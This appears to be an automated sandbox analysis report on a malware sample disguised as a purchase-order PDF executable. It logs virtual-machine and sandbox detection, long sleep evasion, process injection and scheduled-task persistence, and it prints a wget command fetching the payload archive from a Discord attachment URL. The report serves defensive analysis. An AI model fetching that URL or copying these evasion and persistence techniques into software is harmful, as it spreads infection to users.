Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE PID: 3268, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RudGXFgqTDEzz.exe PID: 1092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232209.exe PID: 5152, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: update_232209.exe PID: 2576, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.288822367.0000000002885000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.288822367.0000000002831000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000003042000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.393580716.00000000031B7000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000015.00000002.472143566.00000000035AE000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.288822367.0000000002885000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000003042000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.393580716.00000000031B7000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SBIEDLL.DLL

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE TID: 4648	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE TID: 3888	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe TID: 2140	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe TID: 4272	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Zip.exe TID: 5804	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\Zip.exe TID: 5804	Thread sleep time: -45000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe TID: 5272	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe TID: 5352	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe TID: 5248	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe TID: 5324	Thread sleep count: 2428 > 30
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe TID: 5260	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe TID: 5292	Thread sleep count: 4171 > 30

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll			Jump to dropped file
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Dropped PE file which has not been started: C:\Users\user\Desktop\extract\Newtonsoft.Json.dll			Jump to dropped file

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Registry key enumerated: More than 149 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Window / User API: threadDelayed 9654	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Window / User API: threadDelayed 9637
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Window / User API: threadDelayed 2428
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Window / User API: threadDelayed 4171

Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0 name: Identifier
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum name: 0
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_processor

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Thread delayed: delay time: 922337203685477

Source: update_232209.exe, 00000015.00000002.496972142.0000000007820000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA IIOData Source=localhost\sqlexpress;Initial Catalog=dbSMS;Integrated Security=True
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmware
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.309471549.0000000006FA6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCNMDYDVCWin32_VideoController65X53GXLVideoController120060621000000.000000-00099473523display.infMSBDA76X7T4PSPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors2CTSCBC2g
Source: update_232209.exe, 00000015.00000002.472143566.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: update_232209.exe, 00000015.00000002.472143566.00000000035AE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: q"SOFTWARE\VMware, Inc.\VMware Tools
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: update_232209.exe, 00000015.00000002.496972142.0000000007820000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCNMDYDVCWin32_VideoController65X53GXLVideoController120060621000000.000000-00099473523display.infMSBDA76X7T4PSPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors2CTSCBC2
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000003.274477431.0000000006FA3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCNMDYDVCWin32_VideoController65X53
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: RudGXFgqTDEzz.exe, 0000000B.00000002.454720392.000000000147B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Win32_VideoController(Standard display types)VMwareCNMDYDVCWin32_VideoController65X53GXLVideoController120060621000000.000000-00099473523display.infMSBDA76X7T4PSPCI\VEN_15AD&DEV_0405&SUBSYS_040515AD&REV_00\3&61AAA01&0&78OKWin32_ComputerSystemcomputer1280 x 1024 x 4294967296 colors2CTSCBC2ql
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware SVGA II
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: update_232209.exe, 00000015.00000002.472143566.00000000035C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: Zip.exe, 00000014.00000002.472991036.00000285A081B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Memory written: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Memory written: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe base: 400000 value starts with: 4D5A			Jump to behavior

Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe c:\windows\system32\cmd.exe /c wget -t 2 -v -t 60 -p "c:\users\user\desktop\download" --no-check-certificate --content-disposition --user-agent="mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/revised_po.zip" > cmdline.out 2>&1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -t 60 -p "c:\users\user\desktop\download" --no-check-certificate --content-disposition --user-agent="mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/revised_po.zip"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wget.exe wget -t 2 -v -t 60 -p "c:\users\user\desktop\download" --no-check-certificate --content-disposition --user-agent="mozilla/5.0 (windows nt 6.1; wow64; trident/7.0; as; rv:11.0) like gecko" "https://cdn.discordapp.com/attachments/897446870190800920/1077789889103405057/revised_po.zip"	Jump to behavior

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE {path}	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process created: C:\Users\user\AppData\Local\Temp\Zip.exe "C:\Users\user\AppData\Local\Temp\Zip.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp20E9.tmp	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Process created: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe {path}	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp7811.tmp
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe {path}
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Process created: C:\Users\user\AppData\Local\Temp\update_232209.exe {path}

Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F42000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002EFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002EFE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager - 2/22/2023 10:40:29 AM ]
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F1C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [ Program Manager -
Source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.543538697.0000000002F42000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager(@

Source: C:\Windows\SysWOW64\wget.exe	Queries volume information: C:\Users\user\Desktop\download VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
